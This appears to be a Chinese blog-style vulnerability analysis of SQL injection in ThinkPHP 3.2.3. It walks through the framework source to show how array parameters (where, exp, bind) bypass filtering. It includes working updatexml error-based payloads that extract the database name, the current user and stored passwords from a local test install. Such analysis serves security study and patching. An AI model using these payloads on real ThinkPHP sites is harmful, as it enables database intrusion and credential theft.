- 这里利用
ThinkPHP3.2.3
做示例,戳此进行下载- ThinkPHP中的常用方法汇总总结:M方法,D方法,U方法,I方法
- 数据库相关内容配置,文件位置
Application/Home/Conf/config.php
'配置值'
//数据库配置信息
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => 'localhost', // 服务器地址
'DB_NAME' => 'cms', // 数据库名
'DB_USER' => 'cms', // 用户名
'DB_PWD' => '20010728', // 密码
'DB_PORT' => 3306, // 端口
'DB_PARAMS' => array(), // 数据库连接参数
'DB_PREFIX' => '', // 数据库表前缀
'DB_CHARSET'=> 'utf8', // 字符集
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志
);
控制器配置,文件位置
Application/Home/Controller/IndexController.class.php
show(' :)
欢迎使用 ThinkPHP!
版本 V{$Think.version} ','utf-8');
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
}
show(' :)
欢迎使用 ThinkPHP!
版本 V{$Think.version} ','utf-8');
$User = D('Users');
$map = array('user' => $_GET['user']);
$user = $User->where($map)->find();
var_dump($user);
}
}
show(' :)
欢迎使用 ThinkPHP!
版本 V{$Think.version} ','utf-8');
$User = M("Users");
$user['user_id'] = I('id');
$data['last_name'] = I('last_name');
$valu = $User->where($user)->save($data);
var_dump($valu);
}
}
Payload:
http://127.0.0.1/cms/?id[where]=1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)#
Payload:
http://127.0.0.1/cms/index.php/Home/Index/index?user[0]=exp&user[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
Payload:
http://127.0.0.1/cms/index.php/Home/Index/index?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1
从官方文档我们可以知道如果
I()
方法不存在过滤参数的话会默认使用htmlspecialchars
方法进行过滤,但是同时默认使用的htmlspecialchars
函数并没有过滤'
的
跟进
ThinkPHP/Common/functions.php
,如果$filters
不存在就等值于C('DEFAULT_FILTER')
而该值正等于htmlspecialchars
,后面使用回调函数array_map_recursive
对数据进行过滤
继续往下,后面利用
array_walk_recursive
,如果输入数据是数组的话回调think_filter
进行数据进一步过滤
跟进
think_filter
方法,如果传入的data是下面数组里面的其中一个就在其后面添加一个空格
进入
find
方法,跟进ThinkPHP/Library/Think/Model.class.php
,因为我们传入的是一个数组,并且$pk
值不为数组所以我们就可以直接绕过前面的预设定位到_parseOptions
进入
_parseOptions
方法,定位到_parseType
进入
_parseType
方法,发现这里对数据进行强制数据类型转换,然后返回给_parseOptions
,这里对数据进行强制数据类型转换,然后放回,进行数据类型转换后自然是不存在sql注入,所以需要绕过这个函数的过滤,回到上一步发现只有经过if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
这个判断才会进入_parseType
函数过滤,这里可以使用数组随便绕过
继续往下,进入
select
方法
跟进
ThinkPHP/Library/Think/Db/Driver.class.php
,定位到buildSelectSql
方法
进入
buildSelectSql
方法,定位到parseSql
方法
进入
parseSql
方法,从$options
数组中取出对应的数值在做相对于的处理后拼接到sql语句中,直接执行导致了sql注入漏洞,任意一个一维数组都可以绕过前面的限制但是payload使用的是id[where]
,因为只有符合对应的数组键值才会取出拼接
拼接后的语句为
SELECT * FROM `users` WHERE 1 and 1=updatexml(1,concat(0x7e,(select database()),0x7e),1)# LIMIT 1
这里还有一些可以利用的Payload
?id[group]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
?id[field]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
这里也是使用了
find
方法进行查询,但很明显的一点就是传入的值一开始就是一个数组,并且这里使用原生的GET来传输数据而不是thinkphp提供的I()
方法,其原因是要注入成功必须要传入exp参数,而在上文中分析I()
方法是发现会默认对数组一些过滤处理,其中就有exp,而exp后面跟了空格的话会导致注入失败
首先跟进
ThinkPHP/Library/Think/Model.class.php
中的where
方法看看,因为$where
是数组而整个where方法其实并没有对该数组什么特别的操作,只是在最后把$where
数组赋值给了$options
数组
进入
find
方法,这里和前面跟的一样,并不会对该数组进行过滤,直接看看核心的select
,跟进到ThinkPHP/Library/Think/Db/Driver.class.php
中的parseSql
方法,进入parseWhere
方法
此时使用payload时候传入的值
$where
为:
array(1) {
["user"]=>
array(2) {
[0]=>
string(3) "exp"
[1]=>
string(46) "=1 and updatexml(1,concat(0x7e,user(),0x7e),1)"
}
}
分析后发现最后会进入到
parseWhereItem
方法中,在exp
的elseif语句中把where条件直接用点拼接,要满足$val
是数组,并且索引为0的值为字符串exp
,那么就可以拼接sql语句了,所以传入user[0]=exp&user[1]==1 and xxxxxx
,造成SQL注入
前面分析exp注入的时候,不仅exp那里存在问题,bind也同时存在问题,但是这里会在
$val[1]
的前面添加:
符号导致sql注入失败
进入
save
方法,跟进ThinkPHP/Library/Think/Model.class.php
,定位到update
方法
跟进
ThinkPHP/Library/Think/Db/Driver.class.php
中的update
方法,我们发现它也调用了parseWhere
方法,结合前面对exp注入的分析,猜测应该还存在bind注入,但是存在一个:
阻断了注入
跟进
execute
方法,看看怎么处理这个:
- 执行替换操作,将
:0
替换为外部传进来的字符串,所以让传入参数等于0,这样就拼接了一个:0
,然后会通过strtr
被替换为1- 这里是把
:0
进行替换为外部传进来的字符串所以我们的payload,这里必须要填0
才能消去:
戳此查看参考文章